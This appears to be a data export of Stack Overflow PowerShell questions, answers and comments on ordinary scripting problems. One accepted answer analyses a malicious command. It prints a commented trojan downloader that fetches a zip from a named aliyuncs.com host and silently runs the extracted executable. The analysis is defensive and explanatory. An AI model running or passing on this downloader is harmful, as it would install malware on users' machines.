has body: Based on what I've had already discovered, and matching Ikhtesam, I managed the following: $workflowUri = "/subscriptions/$SubscriptionId/resourceGroups/$ResourceGroup/providers/Microsoft.Web/sites/$LogicAppName/workflows/" $workflows = az resource show --ids $workflowUri | ConvertFrom-Json foreach ($workflow in $workflows.value) { $workflowName = $workflow.name -replace "$LogicAppName/", "" $triggerUri = "https://management.azure.com/subscriptions/$SubscriptionId/resourceGroups/$ResourceGroup/providers/Microsoft.Web/sites/$LogicAppName/hostruntime/runtime/webhooks/workflow/api/management/workflows/$workflowName/triggers/$TriggerName/listCallbackUrl?api-version=2018-11-01" $response = az rest --method post --uri $triggerUri | ConvertFrom-Json Write-Output $response.value }
type: Answer
has comment: http://stackoverflow.com/comment/139468095
has comment: http://stackoverflow.com/comment/139474528
score: 0
answers question: http://stackoverflow.com/q/79094130

http://stackoverflow.com/a/79153151
answers question: http://stackoverflow.com/q/79153057
has body: Or make them objects instead of hashtables: @( @{ name = 'a' ; weight = 7 } @{ name = 'b' ; weight = 1 } @{ name = 'c' ; weight = 3 } @{ name = 'd' ; weight = 7 } ) | % { [pscustomobject]$_ } | Group-Object -Property weight -NoElement Count Name ----- ---- 2 7 1 1 1 3 The docs default to powershell 7, which I'm not a fan of.
upvote count: 2
type: Answer
score: 2
downvote count: 0

http://stackoverflow.com/q/79131446
type: UnansweredQuestion
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/79132465
score: 1
type: Question
has answer: http://stackoverflow.com/a/79133359
has answer: http://stackoverflow.com/a/79133645
answer count: 3
has title: How to use Select-Object with Test-Connection to report only certain columns
has comment: http://stackoverflow.com/comment/139533054
downvote count: 0
tagged with: select-object
tagged with: powershell
has body: I'm using Test-Connection with Power-Shell 5.1. The command is Test-Connection -Source $source -Destination $remoteHost The result is: Source Destination IPV4Address IPV6Address Bytes Time(ms) ------ ----------- ----------- ----------- ----- -------- DESKTOP-BH... 192.168.1.253 32 1 I don't want to display the columns IPV4Address and IPV6Address. How can I use Select-Object to display the other columns Source, Destination, Bytes and Time? Command like: Test-Connection -Source $source -Destination $remoteHost | Select-Objects Column1,column2 ... Is there a documented list of names of objects displayed in Test-Connection power shell command? Thanks. Elik I'm trying to get the right syntax of the power shell command and the location of the related document.

http://stackoverflow.com/q/79197561
type: Question
answer count: 0
has body: I have two folders with information, one has abc12.jpg and the other abc12.json [or .bat, etc you get the idea]. I can't figure out how to modify my code to move files from the .json folder out to better see what files still need their .jpg [and future other same name files] Could someone poke me in the right direction.. # Specify the folders to compare $sourceFolder = "C:\SourceFolder" $targetFolder = "C:\TargetFolder" $destinationFolder = "C:\DestinationFolder" # Get the files in the source folder $sourceFiles = Get-ChildItem -Path $sourceFolder -File -Recurse # Get the files in the target folder $targetFiles = Get-ChildItem -Path $targetFolder -File -Recurse # Compare the files and find the unique files in the source folder $uniqueFiles = Compare-Object -ReferenceObject $sourceFiles -DifferenceObject $targetFiles -Property Name, Length -PassThru | Where-Object {$_.SideIndicator -eq "<="} # Move the unique files to the destination folder foreach ($file in $uniqueFiles) { $destinationPath = Join-Path $destinationFolder $file.Name Move-Item -Path $file.FullName -Destination $destinationPath }
has comment: http://stackoverflow.com/comment/139660524
has comment: http://stackoverflow.com/comment/139674269
tagged with: file-structure
has comment: http://stackoverflow.com/comment/139655903
has title: Comparing files within folders and moving files not found in one folder to a different location, /ignoring/ file type
has comment: http://stackoverflow.com/comment/139654113
tagged with: powershell
score: 0
has comment: http://stackoverflow.com/comment/139660522
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139661368
has comment: http://stackoverflow.com/comment/139661227

http://stackoverflow.com/comment/139728180
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79238760
type: QuestionComment
has text: Can you add this as an answer? I've executed 100s, if not 1000s of powershell scripts in command line this way, and I have NEVER used the -f (or -File) specifier. This worked perfectly. Thank you! (I'll mark it as the correct answer)

http://stackoverflow.com/a/79132466
has comment: http://stackoverflow.com/comment/139547685
answers question: http://stackoverflow.com/q/79125853
has comment: http://stackoverflow.com/comment/139574169
has comment: http://stackoverflow.com/comment/139726339
has comment: http://stackoverflow.com/comment/139543527
has comment: http://stackoverflow.com/comment/139617927
has comment: http://stackoverflow.com/comment/139605198
has comment: http://stackoverflow.com/comment/139595854
has comment: http://stackoverflow.com/comment/139637546
has comment: http://stackoverflow.com/comment/139596427
type: Answer
has comment: http://stackoverflow.com/comment/139615556
has comment: http://stackoverflow.com/comment/139594363
has comment: http://stackoverflow.com/comment/139548583
has comment: http://stackoverflow.com/comment/139597044
has comment: http://stackoverflow.com/comment/139593699
has comment: http://stackoverflow.com/comment/139602384
has comment: http://stackoverflow.com/comment/139563092
has comment: http://stackoverflow.com/comment/139615575
has comment: http://stackoverflow.com/comment/139621658
has comment: http://stackoverflow.com/comment/139699223
has body: There are several errors in your scripts. According to REST API User Entitlements - List, The supported values of AssignmentSource are groupRule, none and unknown. To get the user whose assignment source is direct, you should use $_.accessLevel.assignmentSource -eq "unknown" According to Get-MgUser, The UserId is the object id of the user in AAD, you can't use UPN or Email as input. Use UPN as a filter instead. For example, $userGraphResponse = Get-MgUser -Filter "userPrincipalName eq '$userIdentifier'" -ErrorAction Stop. Get the id of the user via $userId = $userGraphResponse.Id, which will be used later. According to Get-MgUserManager, UserId is the object id, use $userId as input to get the info about this user's manager. There isn't such parameter $managerResponse.UserPrincipalName in the response of Get-MgUserManager. Run Get-MgUserManager first to get the id of the manager, and then run Get-MgUser to get the mail of this manager. Below are the modified scripts for your reference. # Variables $organization = "{DevOps Org}" $azureDevOpsPat = "{PAT}" # PAT with full access $tenantId = "{tenant id}" $clientId = "{client id}" $clientSecret = "{client secret}" $secureClientSecret = ConvertTo-SecureString $clientSecret -AsPlainText -Force $credential = New-Object System.Management.Automation.PSCredential ($clientId, $secureClientSecret) $excludedUsers = @( "example1@org.com", "example2@org.com", "example3@org.com" ) # Scopes for Microsoft Graph $scopes = @("User.Read.All", "Directory.Read.All") # Connect to Microsoft Graph Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $credential # Azure DevOps API Endpoint $devOpsApiUrl = "https://vsaex.dev.azure.com/$organization/_apis/userentitlements?top=2000&api-version=4.1-preview.1" # Prepare Azure DevOps API Headers $devOpsHeaders = @{ Authorization = ("Basic {0}" -f [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes(":$azureDevOpsPat"))) "Content-Type" = "application/json" } # Fetch user entitlements fro…
score: 0
has comment: http://stackoverflow.com/comment/139643458
has comment: http://stackoverflow.com/comment/139547671
has comment: http://stackoverflow.com/comment/139548458
has comment: http://stackoverflow.com/comment/139704531

http://stackoverflow.com/a/79194293
type: Answer
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/139648401
has comment: http://stackoverflow.com/comment/139648361
has body: It makes sense because md is an alias of mkdir and mkdir is a function. If you target the alias: provider then it will resolve into the command it's pointing to: Get-Content alias:\md In this case, I'd recommend to use Get-Command instead if you're looking for the source code of a function. $command = Get-Command md $command -is [System.Management.Automation.AliasInfo] # True $command.ResolvedCommand # mkdir $command.ResolvedCommand.ScriptBlock # source code for mkdir After updates to the original question the above answer doesn't make any sense. The original question was asking about an alias, and now the update is asking about an actual application (ipconfig) which of course there is no content to get because 1. Applications don't belong to the function: provider and 2. The source code is compiled.
answers question: http://stackoverflow.com/q/79194279
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139648371
score: 2
accepted answer of: http://stackoverflow.com/q/79194279
has comment: http://stackoverflow.com/comment/139648411

cookies
type: Tag
tag name: cookies
tags question: http://stackoverflow.com/q/79210976
tags question: http://stackoverflow.com/q/79322475

http://stackoverflow.com/comment/139523597
comment on: http://stackoverflow.com/q/79124278
has text: Try `[Parameter(Mandatory = $false, ValueFromPipeline)] [string] $AA` ? I.e. remove *Position argument* for parameter `$AA` (defaults to 0)…
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79159417
answers question: http://stackoverflow.com/q/79158483
has body: If you want do lock for the active Window: $windows = Get-Process | Where-Object { $_.MainWindowTitle -ne "" } foreach ($window in $windows) { if ($window.MainWindowTitle -like "*Edge*") { $fenster += $window.MainWindowTitle } } $windows = Get-Process | Where-Object { $_.MainWindowTitle -ne "" } foreach ($window in $windows) { if ($window.MainWindowTitle -like "*Edge*") { $fenster += $window.MainWindowTitle } } $fenster and if you want all edge windows: you need the WindowHelper and this little code: $script:fenster = @() $callback = { param($hWnd, $lParam) $sb = New-Object System.Text.StringBuilder 256 [WindowHelper]::GetWindowText($hWnd, $sb, $sb.Capacity) | Out-Null $title = $sb.ToString() if ($title -like "*Edge*") { $script:fenster += $title Write-Host "Gefunden: $title" } return $true } [WindowHelper]::EnumWindows($callback, [IntPtr]::Zero) if ($script:fenster.Count -eq 0) { Write-Host "Keine Fenster mit 'Edge' gefunden." } else { Write-Host "Gefundene Fenster mit 'Edge':" $script:fenster | ForEach-Object { Write-Host $_ } }
has comment: http://stackoverflow.com/comment/139655975
type: Answer
score: 0

http://stackoverflow.com/comment/139697259
type: Comment
score: 0
has text: An apology, I had a problem with the internet all day and so far I can verify your answers.
comment on: http://stackoverflow.com/q/79219476
type: QuestionComment

utf-16
type: Tag
tags question: http://stackoverflow.com/q/79196973
tag name: utf-16

http://stackoverflow.com/comment/139544949
type: QuestionComment
has text: @MathiasR.Jessen I correct my answer as you suggested.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79132942

http://stackoverflow.com/q/79111405
has comment: http://stackoverflow.com/comment/139512026
score: 0
tagged with: gpg-agent
has comment: http://stackoverflow.com/comment/139508623
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/139545180
has title: GPG Decyrption from Powershell
has comment: http://stackoverflow.com/comment/139520236
has comment: http://stackoverflow.com/comment/139512025
tagged with: encryption
tagged with: command-line
has comment: http://stackoverflow.com/comment/139496838
tagged with: scheduled-tasks
linked to: http://stackoverflow.com/q/51333183
has comment: http://stackoverflow.com/comment/139546689
has body: I am trying to decrypt files with GPG from powershell. It has been painful... my command works fine interactively or from the POWERSHELL ISE in Debug Mode. However as soon as I run the PS Script from Task Scheduler it runs and gets to the part of the script where I call GPG.exe and nothing happens. I see GPG fire up in the process but nothing happens. It should Decrypt the file and output as a text file. #Call gpg4win to decrypt files in "E:\BannerAWS\SAPConcur\Production\" $Files = Get-ChildItem -Path "E:\BannerAWS\SAPConcur\production" -Filter "*.pgp" Write-Log "Beginning Decrpytion on $Files.Count" if ($Files.Count -ge 1) { ForEach ($file in $Files) { #C:\Scripts\DecryptConcur.bat $OutPut = $file.fullname.SubString(0, $File.FullName.length -4) Copy-Item -Path $file.fullname -Destination $BackUpGPG & "C:\Program Files (x86)\GnuPG\bin\gpg.exe" -v --batch --pinentry-mode=loopback --passphrase "$PassPhrase" -d -o $OutPut $file.FullName Start-Sleep -seconds 1 if (Test-Path $OutPut) { Write-Log "Deleting File $File" Remove-Item $File.fullname Write-Log "Copying Decrypted File to Archive." Copy-Item -Path $OutPut -Destination "E:\BannerAWS\SAPConcur\archiveproductiontest\" } Else { if(-Not (Test-Path $OutPut)) {Write-Log "Decrypted File was never created."} } } Write-Log "Calling Load Script" #C:\scripts\loadfzrsaetproduction.bat Write-Log "Load Script ran and complete see log at c:\scripts\fzrsaetlog.txt" } Else { Write-Log "No Files to Decrypt Found" } I suspect that its having a problem with permissions but not sure exactly. I know the file never gets decrypted. I looked into the start-process to use the "-verb RunAS" but cannot figure out how to convert this arguement list that would follow the exe.
tagged with: powershell
type: UnansweredQuestion

http://stackoverflow.com/a/79127010
type: Answer
has body: You appear to have it a bug (which on my machine also affects local paths); a workaround is to use the Shell.Application COM object's .ShellExecute() method: (New-Object -ComObject Shell.Application).ShellExecute( '\\share\directory\', $null, # args to pass; N/A here $null, # working dir; N/A here $null, # the shell operation (verb); use default ('Open') 7 # show minimized (see below) ) Note: As with your Start-Process -WindowStyle Minimized approach, the newly opened window receives the input focus, despite being minimized. While the 7 value (see the list of supported window-style constants should not give the newly launched window focus, this is in effect ignored for File Explorer windows (that is, it behaves as if 2 had been specified). To avoid this behavior would require another workaround: reactivate the PowerShell window after launching the window; while (New-Object -ComObject WScript.Shell).AppActivate($PID) does that in principle, programmatic activation of a window that is then not the active window is prevented by default, and allowing it requires a P/Invoke call, as demonstrated in this answer.
score: 0
answers question: http://stackoverflow.com/q/79125645
has comment: http://stackoverflow.com/comment/139551415
has comment: http://stackoverflow.com/comment/139539432
has comment: http://stackoverflow.com/comment/139536526

visual-studio-code
tags question: http://stackoverflow.com/q/79130831
tags question: http://stackoverflow.com/q/79147832
tags question: http://stackoverflow.com/q/79105813
tag name: visual-studio-code
type: Tag
tags question: http://stackoverflow.com/q/79149663
tags question: http://stackoverflow.com/q/79109947
tags question: http://stackoverflow.com/q/79401137
tags question: http://stackoverflow.com/q/79380187
tags question: http://stackoverflow.com/q/79264325
tags question: http://stackoverflow.com/q/79352193
tags question: http://stackoverflow.com/q/79330357
tags question: http://stackoverflow.com/q/79335322
tags question: http://stackoverflow.com/q/79456849
tags question: http://stackoverflow.com/q/79532246
tags question: http://stackoverflow.com/q/79470850
tags question: http://stackoverflow.com/q/79473951

http://stackoverflow.com/a/79073428
type: Answer
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/79072962
score: 2
accepted answer of: http://stackoverflow.com/q/79072962
has body: The problem here is that $Profile holds and array of @("Domain", "Public", "Private") and not string, so you have to compare against an array. I omitted for brevity the rest of the code leaving only ParameterFilter: -ParameterFilter { @(Compare-Object $Profile @('Domain', 'Public', 'Private') -SyncWindow 0).Length -eq 0 -and $Enabled -eq $false } Comparing two arrays for equality in powershell is a feat :) here is the comperhensive answer that explains how Compare-Object can be used for arrays equality check.
type: AcceptedAnswer

http://stackoverflow.com/comment/139511209
has text: @SantiagoSquarzon, thank you!
comment on: http://stackoverflow.com/q/79119453
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/comment/139699686
comment on: http://stackoverflow.com/q/79222400
type: QuestionComment
type: Comment
has text: The error message tells you exactly what's wrong - the argument you're passing to `Set-Date` is `$null`. Try constructing the initial date instance with `Get-Date` instead: `$date = Get-Date -Day 30 -Month 9 -Year 2024 -Hour 12 -Minute 0 -Second 0 -Millisecond 0`
score: 1

http://stackoverflow.com/comment/139613279
score: 0
has text: PS: Each event will have only one corresponding document. There are not 2 events with the same document, even if they are similar either in the combination of 2,3 or 4 digits, or in the date, or in the name.
comment on: http://stackoverflow.com/q/79174610
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139473951
has text: Hello, thanks for this answer. I tried adding the "x-api-key" under the "authHeaders" in the Definition File but also ran into the same issue. I will keep an eye on the bug request. Thanks
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79097542

http://stackoverflow.com/a/79115818
answers question: http://stackoverflow.com/q/79112268
has body: I'm not sure if it is worth the effort, but you can define a custom exception class to represent the not-a-repo error condition and throw an instance of it, which you can then catch: $ErrorActionPreference = 'Stop' $bbGamePath = 'G:/BitBurnerGame' # Custom exception class. class NotaGitRepoException: Exception { NotaGitRepoException([string] $Path) : base("Not a git repository: $Path") {} } try { # Create a temporary file to capture stderr output in. $stderrTempFile = New-TemporaryFile $null = git --version Set-Location $bbGamePath git fetch --dry-run 2>$stderrTempFile if ($LASTEXITCODE -eq 128) { throw ([NotaGitRepoException]::new($PWD)) } elseif ($LASTEXITCODE) { throw } # any other error reported by git } catch [System.Management.Automation.CommandNotFoundException] { Write-Host -ForegroundColor Red 'Git is not installed!' } catch [System.Management.Automation.ItemNotFoundException] { Write-Host -ForegroundColor Yellow 'Folder not found!' } catch [NotaGitRepoException] { Write-Host -ForegroundColor Yellow $_ } catch { Write-Host -ForegroundColor Yellow "Unexpected git error ${LASTEXITCODE}: $((Get-Content -Raw -LiteralPath $stderrTempFile).Trim()))" } finally { # Clean up. Remove-Item -ErrorAction Ignore -LiteralPath $stderrTempFile }
type: Answer
score: 0

http://stackoverflow.com/q/79085306
has body: I have not found any solution to my problem. What I don't like is that I'm only able to display the Windows.System.Form::Icons that they provide. What would be the ultimate solution? Being able to use a locally saved .png File and save it in something like a variable f.e.: $ICON = -File C:PATH\Image.png and then using $ICON in the code $MessageIcon = [MessageBoxImage]::$ICON Here is the code that I've written sofar: choco upgrade all -y --log-File "C:\ProgramData\chocolatey\logs\chocolatey.log" if ($LASTEXITCODE -eq 3010) { New-Item -Path C:\ProgramData\chocolatey\logs\rebootnow.txt -Force } else { return } if (Test-Path -Path C:\ProgramData\chocolatey\logs\rebootnow.txt) { try { Add-Type -AssemblyName PresentationCore, PresentationFramework } catch { Write-Host "Exit 2 - Beim Anlegen der Libaries für Windows Forms ist ein Fehler aufgetreten." exit 2 } $ButtonType = [System.Windows.MessageBoxButton]::YesNo $MessageboxTitle = "Information" $Messageboxbody = "Es wurde im Hintergrund vom IT Administrator ein Update für alle Firmeninternen Apps durchgeführt. Es ist ein Geräte-Neustart nötig um das Update zu finalisieren. Möchten Sie jetzt einen Geräte-Neustart durchführen?" $MessageIcon = [System.Windows.MessageBoxImage]::Information try { $result = [System.Windows.MessageBox]::Show($Messageboxbody, $MessageboxTitle, $ButtonType, $MessageIcon) } catch { Write-Host "Exit 3 - Beim erstellen der Windows Forms aus den verschiedenen Objekten ist ein Fehler aufgetreten." exit 3 } if ($result -eq [System.Windows.MessageBoxResult]::Yes) { Remove-Item -Path "C:\ProgramData\chocolatey\logs\rebootnow.txt" Shutdown.exe /r /t 15 } else { return } } else { return } The code itself is functional but the problem is the design part. I would like for it to display the company .png so users know its from internal IT Administration. EDIT2: as to it not being possible to use only powershell to create a custom icon in a Message Box i tried using the Powershell Pro Tool for VSCode that James …
score: 0
type: UnansweredQuestion
tagged with: windows
tagged with: forms
linked to: http://stackoverflow.com/q/6560493
linked to: http://stackoverflow.com/q/7513090
has comment: http://stackoverflow.com/comment/139449282
has comment: http://stackoverflow.com/comment/139449417
type: Question
has comment: http://stackoverflow.com/comment/139448871
has comment: http://stackoverflow.com/comment/139449352
tagged with: powershell
answer count: 1
has comment: http://stackoverflow.com/comment/139449440
has comment: http://stackoverflow.com/comment/139452421
tagged with: winforms
has answer: http://stackoverflow.com/a/79087038
has title: Is it possible to create a custom MessageBox.Icon in powershell?

http://stackoverflow.com/q/79144958
has title: Combining -Match and -NotMatch, find lines with any "foo" but not match "foo bar", how?
possible better answer: http://stackoverflow.com/a/79145053
has answer: http://stackoverflow.com/a/79145321
type: Question
has answer: http://stackoverflow.com/a/79145056
downvote count: 0
has body: I've been analyzing log file using PowerShell by searching for any lines with "error" or "exception" by using foreach { $_ -match $searchStrings } and this works. However I ran into logfiles that also include many lines with user login error and user authentication error which I want to ignore, but I can't get it to work. When I try the -Match and -NotMatch separately they work as expected. But when I combine them I get just one result true. I've also tried using Where-Object but it just returns all lines including the lines without "error". So the logfile is for example like this: 28-02-2024 02:30:37 - User authentication error ('JohnsenJ') on module LabResultCodeLists 28-02-2024 10:14:27 - LabResults imported (record count: 0) 28-02-2024 10:16:53 - LabResults imported (record count:6754) 28-02-2024 13:19:03 - Server error from remote client (45eaae02-b53b-40b4-ac7f-79926eac12c4) 28-02-2024 22:34:00 - Server error from remote client (fff80a18-8317-4945-9e12-b1cacc4b4419) 29-02-2024 00:59:31 - Query error ('SELECT * FROM LABRESULTS WHERE CODE = ;') 29-02-2024 01:29:51 - LabResults imported (record count:123) 29-02-2024 01:54:35 - Access violation error at dlgLabResultVerification 29-02-2024 15:30:14 - Query error ('SELECT * FROM LABRESULTS WHERE CODE = ;') 29-02-2024 17:09:06 - User login error ('JohnsneJ') not found 29-02-2024 18:59:29 - Connection error from remote client (45eaae02-b53b-40b4-ac7f-79926eac12c4) And the PowerShell script is like this. $searchStrings = "error|exception" $excludeStrings = "User login error|User authentication error" $file = "logfile.txt" $lines = Get-Content $file -ReadCount 1000 | foreach { $_ -match $searchStrings } # count 8 #foreach { $_ -NotMatch $excludeStrings } # count 9 #foreach { $_ -match $searchStrings -and $_ -NotMatch $excludeStrings} # 1: true ?! #Where-Object { $_ -Match $searchStrings } # incorrect: count 11 # Any lines? if ($lines.count -ne 0) { Write-Host ("Error count: $($lines.count)") Write-Host ($lines -join "`n…
tagged with: powershell
has answer: http://stackoverflow.com/a/79145761
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/79145761
upvote count: 3
answer count: 4
score: 3
favorite count: 0
has answer: http://stackoverflow.com/a/79145053

http://stackoverflow.com/q/79165708
score: -2
upvote count: 0
has title: I have following problem reading xml file with powershell
has answer: http://stackoverflow.com/a/79165941
favorite count: 0
downvote count: 2
tagged with: http://stackoverflow.com/tag/xml
type: Question
answer count: 1
has comment: http://stackoverflow.com/comment/139597106
tagged with: powershell
has body: So i have example XML file part looking like this: <?xml version="1.0" encoding="utf-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v3" manifestVersion="1.0" copyright="Copyright (c) Microsoft Corporation. All Rights Reserved."> <assemblyIdentity name="UserExperience-Photon" version="10.0.26100.1591" processorArchitecture="amd64" language="neutral" buildType="release" publicKeyToken="31bf3856ad364e35" versionScope="nonSxS" /> <securityDescriptor name="WRP_FILE_DEFAULT_SDDL_MicrosoftWindows.Client.Photon_cw5n1h2txyewy" /> <asmv2:hash xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#"> <dsig:Transforms> <dsig:Transform Algorithm="urn:schemas-microsoft-com:HashTransforms.Identity" /> </dsig:Transforms> <dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha256" /> <dsig:DigestValue>aeI9U/qxo8t1vfIFhY7Q8pNZSRidmD3lCXUbts/cQwQ=</dsig:DigestValue> </asmv2:hash> I read that xml: [xml]$xml = Get-Content "C:\Manifests\Extracted\amd64_userexperience-photon_31bf3856ad364e35_10.0.26100.1591_none_faf85d9f2170dfcf.manifest" $xml.assembly.assemblyIdentity.name is the name, but dont know how to get other variables for this. And what im looking for is to get into variables: $FileName = "Photon\appxblockmap.xml" $DestinationPath = "$(runtime.windows)\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy" $ImportPath = "$(build.nttree)\OSClient.Photon\Photon" Don't know what to type here what i tried dont wanna mess things here, just dont know how to do it. There are much more files more its just part of the xml file. Anyone have some answer?
type: UnansweredQuestion

http://stackoverflow.com/comment/139707771
score: 0
has text: @user3104363, the solution in this answer isn't locale-dependent (which was the point). Also, the use of _standard_ formats such as the short date format doesn't come into play here. Please see my update, which demonstrates the effectiveness of the solution (paste into a PowerShell script). Do you get different results?
comment on: http://stackoverflow.com/a/79227270
type: AnswerComment
type: Comment

http://stackoverflow.com/q/79078234
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139435944
has body: I have created an array to store elements of Ids of a Get-Process request. $arr = [int64[]]::new(1000); Here is the code to output the data $process = Get-Process | Where-Object {$_.handles -gt 1000} I want to select the column for IDs specifically, and here is the code below $a = $process | Select-Object -Property Id My question now is how do you store the data for $a inside the $arr
tagged with: data-manipulation
tagged with: arrays
type: Question
has comment: http://stackoverflow.com/comment/139436868
has comment: http://stackoverflow.com/comment/139435966
answer count: 1
has title: Adding elements into an array using Powershell
tagged with: powershell
has answer: http://stackoverflow.com/a/79078296
score: 0

http://stackoverflow.com/a/79089905
answers question: http://stackoverflow.com/q/79089859
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79089859
upvote count: 4
has comment: http://stackoverflow.com/comment/139462070
downvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/139457754
score: 3
has body: For the first question: Can it be possible without embedding code inside powershell like below &amp; call through Invoke-Expression ? I understand from comments that you have your cs file with this code, in that case instead of hardcoding it in PowerShell you can read the content and pass it to Add-Type. There is no need for Invoke-Expression. Add-Type (Get-Content somefile.cs -Raw) As for the second question: How to call AddNum method which requires custom type AddNumbers ? You can reference nested types in your class using the + sign, like: [Namespace.Type+NestedType], so in your case to reference AddNumbers you would use [AdditionLibrary.AdditionOperation+AddNumbers]. Then for instantiating, you can use the hashtable syntax to create an instance of AddNumbers. Since your struct has an empty ctor and the fields aren't marked as readonly this syntax should work for them. See Creating Objects from hashtables for more info. Add-Type ' namespace AdditionLibrary { public static class AdditionOperation { public static int Add(int a, int b) { return a + b; } public struct AddNumbers { public int a; public int b; } public static int AddNum(AddNumbers addNum) { return addNum.a + addNum.b; } } }' $addNum = [AdditionLibrary.AdditionOperation+AddNumbers]@{ a = 1 b = 2 } [AdditionLibrary.AdditionOperation]::AddNum($addNum) # 3
has comment: http://stackoverflow.com/comment/139459367

http://stackoverflow.com/a/79207645
score: 3
has body: To help you understand what the command is doing and perhaps helping future readers with similar issue, this is indeed downloading and executing a Trojan. In simple steps how you can determine this, first check the URL content with Invoke-RestMethod: Invoke-RestMethod https://fixedzip.oss-ap-southeast-5.aliyuncs.com/run.txt You will see that the content is a PowerShell script. Immediately after you can see the suspicious run.zip at the top of the script, if you paste the .zip URL in https://www.virustotal.com/ you can see that it is indeed malicious: Aadding comments to understand what the code does: # defines download file $zxty = 'https://fixedzip.oss-ap-southeast-5.aliyuncs.com/run.zip' # defines destination file for the zip $qbrw = "$env:APPDATA\file_azlm5.zip" # defines destination folder for the zip $lpmk = "$env:APPDATA\Install_4278" # defines destination path for the extracted `.exe` from this zip $vkdy = Join-Path $lpmk 'spPortableRun.exe' # if the destination folder doesnt exist if (!(Test-Path $lpmk)) { # creates it New-Item -Path $lpmk -ItemType Directory } try { # tries to download `run.zip` to destination file `file_azlm5.zip` $ghwd = New-Object System.Net.WebClient $ghwd.DownloadFile($zxty, $qbrw) } catch { exit } try { Add-Type -AssemblyName 'System.IO.Compression.FileSystem' # extract the downloaded zip to destination folder `Install_4278` [System.IO.Compression.ZipFile]::ExtractToDirectory($qbrw, $lpmk) # and delete the zip file Remove-Item $qbrw -Force } catch { exit } try { # starts the trojan extracted from the zip file # (should've been `spPortableRun.exe` in `Install_4278` folder) Start-Process -FilePath $vkdy -WindowStyle Hidden } catch { exit } And to summarize with comments, the -Command you would be executing: # defines content URL $rQd = 'https://fixedzip.oss-ap-southeast-5.aliyuncs.com/run.txt' # creates a WebClient object $pLs = New-Object System.Net.WebClient # download the string content # (this is pretty much like using `Invoke-RestM…
downvote count: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79207415
type: Answer
upvote count: 3
accepted answer of: http://stackoverflow.com/q/79207415

http://stackoverflow.com/q/79105294
type: UnansweredQuestion
tagged with: codepages
tagged with: character-encoding
favorite count: 0
tagged with: get-childitem
has comment: http://stackoverflow.com/comment/139485917
type: Question
answer count: 1
has body: I am needing to write a script in Powershell PSVersion 5.1 to discover files where some of the path names contain é. I am using -LiteralPath in the command, but Get-ChildItem does not correctly search for the path. The é is incorrectly interpreted (code page?) and the path is not found. I have tried changing the PS session code page to 65001 (UTF-8?) but to no avail. Much of the reading I have done is about encoding outputs with BOM etc. I am working on a customer provided box, so I may be stuck with the Powershell version, and I do not have elevated permission. Thank you. I have tried prefixing the path with \\?\, I am using -LiteralPath, and I have tried setting code page to 65001. Code snip: Get-ChildItem -LiteralPath ('\\?\' + $item.location) -File -Recurse Response is: Cannot find path. And in the path the é is replaced with � Note: I'm reading the path in question from a CSV file, using Import-Csv.
linked to: http://stackoverflow.com/q/40098771
has comment: http://stackoverflow.com/comment/139486013
has title: Powershell Get-ChildItem when path contains french accent characters
score: 2
downvote count: 0
has answer: http://stackoverflow.com/a/79105515
tagged with: powershell
upvote count: 2

http://stackoverflow.com/q/79128284
downvote count: 0
has comment: http://stackoverflow.com/comment/139528445
tagged with: .net
tagged with: ps2exe-gui
has title: PS2EXE errors on Win11 24H2
has comment: http://stackoverflow.com/comment/139527521
tagged with: powershell
has comment: http://stackoverflow.com/comment/139529415
has comment: http://stackoverflow.com/comment/139527615
type: UnansweredQuestion
score: 1
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/139527551
has body: I'm running into an issue with a PS2EXE generated exe on Win11 24H2, that works on Win11 23H2. It's a very simple script to install an encrypted app package (eappx). Add-AppxPackage -Path "config\AppName.eappx" When I run the PS2EXE generated exe on Win11 23H2, it installs as expected. However, when I try the same binary in Win11 24H2 I get the following error: "The type initializer for '<Module>' threw an exception." I can install the eappx file directly on the PS CLI (24H2) using the same command 'Add-AppxPackage -Path "config\AppName.eappx"' and this installs as expected. This suggests the eappx file is not the cause of the issue. I tried installing a different simple package .appx to prove it's not the eappx file. This appx will install successfully using the App Installer (double click in file explorer) and also via PS CLI. However, it fails with the same error when using the PS2EXE generated binary. Finally, I tried running other PS commands in the PS2EXE binary to see if everything was impacted. Running the script/exe below displays the date/time correctly for both calls but the "Add-AppxPackage" throws the above exception. Get-Date Add-AppxPackage -Path ".\config\test.AppxBundle" Get-Date When I search on the "The type initializer for '' threw an exception." error, I see suggestions that a DLL may be missing. But I have no way of finding out what is causing the issue. I'm wondering if I need to install something on 24H2 for P2EXE generated code to still work, but I have no idea what. I would appreciate any help in resolving this issue. Many thanks
answer count: 0
has comment: http://stackoverflow.com/comment/139529482
tagged with: typeinitializationexception
has comment: http://stackoverflow.com/comment/139527646
type: Question

http://stackoverflow.com/a/79184006
has comment: http://stackoverflow.com/comment/139703847
accepted answer of: http://stackoverflow.com/q/79183970
type: AcceptedAnswer
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/139781340
